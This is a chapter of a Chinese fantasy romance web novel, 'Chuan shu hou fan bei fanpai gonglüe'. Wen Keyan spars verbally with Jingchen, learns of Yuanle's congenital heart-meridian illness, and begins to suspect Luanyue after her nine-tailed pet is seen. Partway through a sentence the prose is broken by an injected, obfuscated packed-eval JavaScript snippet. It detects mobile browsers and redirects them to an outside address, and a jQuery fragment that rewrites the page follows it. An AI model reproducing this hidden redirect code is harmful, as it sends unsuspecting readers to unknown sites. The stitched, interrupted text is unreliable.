184. 刺中痛(十八)
作品:《穿书后反被反派攻略》 最终,还是銮岳率先开口:“小殿下,好魄力。”
文可烟自是知晓銮岳指的是方才琼华殿上的事。
可鸢乐却并不知晓,一脸茫然地望着他们,“哥哥,你认识可烟?”
一句话说得让气氛又安静几息。
文可烟对銮岳收养妹妹的举止愈发不解了。不仅选了这样一位好似随时都会消散的妹妹不说,还让她对天界之事如此一无所知。
鸢乐似乎是终于察觉到不寻常,视线在文可烟与銮岳之间来回流转,“你们……认识。”
“自是认识。”
銮岳话音刚落,不远处,又有一道熟悉的声音响起。
“銮岳。”
这一次,不用回头,文可烟也知道这道清润悦耳的声音属于境尘。
“你走这般急作甚?”
待走近后,境尘这才注意到方才被掩于銮岳身后的鸢乐,唇边漾起温和的笑意:“原来是鸢乐妹妹在这儿,难怪你走这么快。不过,鸢乐妹妹既被你保护得这般周全,实在不必……”
从这只言片语中,文可烟能得到信息便是,銮岳很紧张鸢乐,极为疼惜这个妹妹。
可境尘的话语就此停顿在此,尾音消散在微湿的空气里。因为他这时终于看见了站在一旁的文可烟,方才挂在脸间的笑意霎时收住,语气陡转,带上来若有若无的讥诮。
“呵,这不是准备上阵杀敌的小殿下么?只是,我怎么也猜不出……这杀的‘敌’,究竟是天界之人,还是魔界中人啊?”
对此,文可烟默默地将境尘是幕后之人的猜测,又打消了几分。
“既是猜不出,便别猜了。”文可烟眸光轻转,闲淡一瞥,连声音都浸着三分漫不经心的慵懒。
她略微歪头,仿佛在认真建议,唇角却是近乎怜悯的弧度。
“免得又做出与你这张脸相衬的事来。如此,便是你这幅……嗯,勉强尚能入耳的嗓音也救不了你了。”
话落。
小池边,水波不兴,仙雾好似都凝结了一瞬。
在场的其余三人皆是一愣,完全没料到文可烟弯弯绕绕又夹枪带棒的回击。
境尘倒是莫名有几分感觉,隐约觉得这话里有话,扎得他不舒服。
而銮岳眸光一颤,却震惊于文可烟竟是见过境尘容貌。
鸢乐更睁大了眼睛,她虽是见过哥哥这位忘年交以前的面容,可那也是两三百年前的旧事了,而可烟方才的语气,好似近期发生之事。这……可是连她都没再见过的,可烟竟……
可文可烟可不容他们细品深思。说罢,就略微像銮岳与鸢乐颔首示意。至于境尘,则是连半分眼风都未扫去,便径直离去。
境尘则迟钝地转过身,望着那抹远去的背影,眉头越皱越紧。他苦思冥想,将方才那句话在舌尖反复咀嚼,却仍是没琢磨出味来,只觉得一股子憋闷劲儿,挥之不去。
境尘终于忍不住侧首看向銮岳:“她方才那番话,究竟是何意?”
銮岳未执一语,只略一耸肩,一副“你自行体会”的模样。
境尘则彻底转过身,望着那抹即将消失在视野的浅绿,看了片刻,略一思索,终于顿悟过来。
“她……她这是在拐着弯骂我蠢?”
銮岳与鸢乐皆未作声,但二人唇角那抹压不住的笑意,已然是最好的回答。
*
自那日在琼华殿的事迹一出,素来不太过问文可烟具体行动的栖梧灵主与月衍仙君都听到了风声,坐不住了,前来问过文可烟。
“烟儿,你与……莫不是感情出问题了?”
文可烟只安抚道:“没有,阿爹阿娘,不过是借机引蛇出洞罢了,你们莫要过于忧心。”
见文可烟神色沉稳,栖梧灵主和月衍仙君才暂且将心放回肚子里。
此后,文可烟也不装了。既然没有尾巴的白酒无效,那便带着有尾巴的白酒出入于各处。
这日,又是那方鲜有人烟的偏僻小池。
文可烟蹲在小池边,手臂环着膝盖,下巴搁在臂弯里,发呆似地望着远处的水面。
幕后之人引没引来,文可烟不知道,倒是先引来了那日的鸢乐。
“可烟!”
清脆的呼喊打破了这片刻沉寂。
文可烟回眸望去。鸢乐正轻快地朝她这边小跑而来。
文可烟看了鸢乐许久,目光又自然地越过鸢乐肩头过渡,状似无意地瞥了一眼。
一片空荡,并未见到那个带着面甲的銮岳。
文可烟心下微诧,不由猜测鸢乐是怎么出来的。
銮岳对这位妹妹低保密不可分,这才几日,她却已是见过两次了。
难不成今日那群仙君又在开会?
压下心头疑惑,文可烟干脆问出了声:“又来等銮岳圣尊?”
鸢乐摇摇头,走到文可烟身边,学着她的样子蹲了下来,双手抱着膝盖,声音轻轻的,却一字一句落在水面微澜的寂静里:“我是专程来找你的。”
文可烟一怔,偏头朝鸢乐看去,“找我?”
“嗯,我喜欢和你待在一起。”鸢乐点点头,并没有看文可烟,而是垂眸淡淡说出这句话。
鸢乐面上神情分明是平静的,唇边甚至带着恬淡的笑意,可清亮的话语间,却像夹杂了一丝秋夜的薄雾,莫名地,就透出了一缕若有若无的伤感。
文可烟动作滞然。
不过是一面之缘,一次短暂的交谈,怎地……就演变成如此深厚的情谊了?
这进展快得让她有些茫然。
还未待文可烟将心中疑问理清,鸢乐平淡的声音再次响起:“不知为何,与你待在一起,我总觉得……格外舒服,连呼吸都顺畅了许多。这种感觉,让我觉得我活得,似乎也可以很轻松,让我觉得我自己很鲜活……”
文可烟望着鸢乐侧颜。鸢乐说这句话时不似方才那般伤感,眼睛看向前方,闪烁着奇异的光彩,好像在向往着什么。
“你……”有些问题几乎脱口而出,文可烟最终还是抑制住了。
可鸢乐却像是能感知到文可烟未尽的话语,自顾自地说了下去:“我生来便有心脉受损之症。这种症状于仙者而言,根本就是不可能发生之事,却偏偏是落在了我身上。”
她顿了顿,声音听不出怨怼,反而掺杂着真实的暖意,“但我很开心,至少,我有很多疼爱我的家人。”
很多?
文可烟掠过一丝疑虑,也仅是一息,转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112870|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬即逝。
心脉受损之症,文可烟没听过,但仅从字面推断,大致也清楚,这貌似是种极难根治的先天之疾。尤其仙者之体本应无垢无暇、百病不侵,这种症状降于仙者之身,确实罕而见之。
“可有法子……”
文可烟话还未尽,鸢乐已经开始摇头,打断了她,“眼下是没有的,但哥哥总说,有的。可我觉得,他大概是哄我的。”
说到这儿时,鸢乐唇角牵起一点近乎透明的笑。
这时,一直隐于文可烟裙裾下的白酒冒出来了半个脑袋,睁着那双大眼睛,略好奇地看着鸢乐。
余光之下,鸢乐显然注意到这点细小动静,低头瞧去,视线与那双圆眼镜对了个正着。
文可烟见状,也并未阻拦,由着白酒去了。
“这是……你的灵宠?”鸢乐惊讶低呼出声,眼中瞬间漾起惊喜的柔光。她下意识地伸出手,想去触碰看起来很是柔软温暖的白酒。
就在鸢乐指尖即将触及绒毛的刹那。
“鸢乐!”
一道严厉的声音,猝然自身后响起。
鸢乐手一颤,倏然缩了回来,转过望去。
与此同时,文可烟出手一挡,想将白酒身后的尾巴掩住。可已然是来不及了,这场景恐怕早已落入銮岳眼中。
“哥哥……”鸢乐立刻站起身,垂下头,小声唤了一声。
銮岳分明是急着寻鸢乐才来此处的,可真找着了,不知为何却也不急着回去,反而静立在那里。
面甲完美遮掩了銮岳所有的神情,唯有一道沉静目光透过冰冷的金属,无声地,先是从鸢乐身上停留一息,确认她无恙。随即,便移向了文可烟,只一瞬,又收了回来。
趁此间隙,文可烟在任何人都看不见的视角里,施法将白酒尾巴隐了起来。
做完这一切,她才回眸望去。除了銮岳,也看见了姗姗来迟的境尘。
文可烟无意多留,抱着白酒起身,作势欲走,却听见銮岳辨不出情绪的声音响起。
“小殿下这只灵宠……原是只九尾啊。”
銮岳在中间一顿,似乎只是在陈诉一个观察所得。
文可烟闻言,脚步在空中稍微一停。
本是一句普通得不能再普通的话,可落在文可烟耳里却异常不舒服,字字都裹着试探的意味。
若说之前对銮岳尚只是心存疑虑,那么此下,文可烟却是将怀疑人选彻底从境尘转向了銮岳。
一旁的境尘刚站定,冷不丁听见銮岳那句“原是只九尾”,整个人如遭雷击,震惊到好似听到了什么天方夜谭,两只脚像石化了般,动弹不得。只瞠目结舌地看着銮岳,又猛地扭头瞪向文可烟怀里那团毛茸茸的小东西,满脸的不可思议。
鸢乐一听銮岳提起灵宠,微黯的眸子一亮,立刻意识到这是个转移话题的绝佳机会。连忙顺着话头附和:“是啊,可烟竟有一只灵宠,我何时也能有一只?”
语气是毫不掩饰的艳羡。
銮岳侧目淡淡瞥了一眼鸢乐,并未接她的话茬。旋即,又将视线落于文可烟身上。
文可烟慢慢转过身,既然被发现了,便顺势而为。她煞有介事道:“自是当初嫁入魔界,得来的奖赏。”

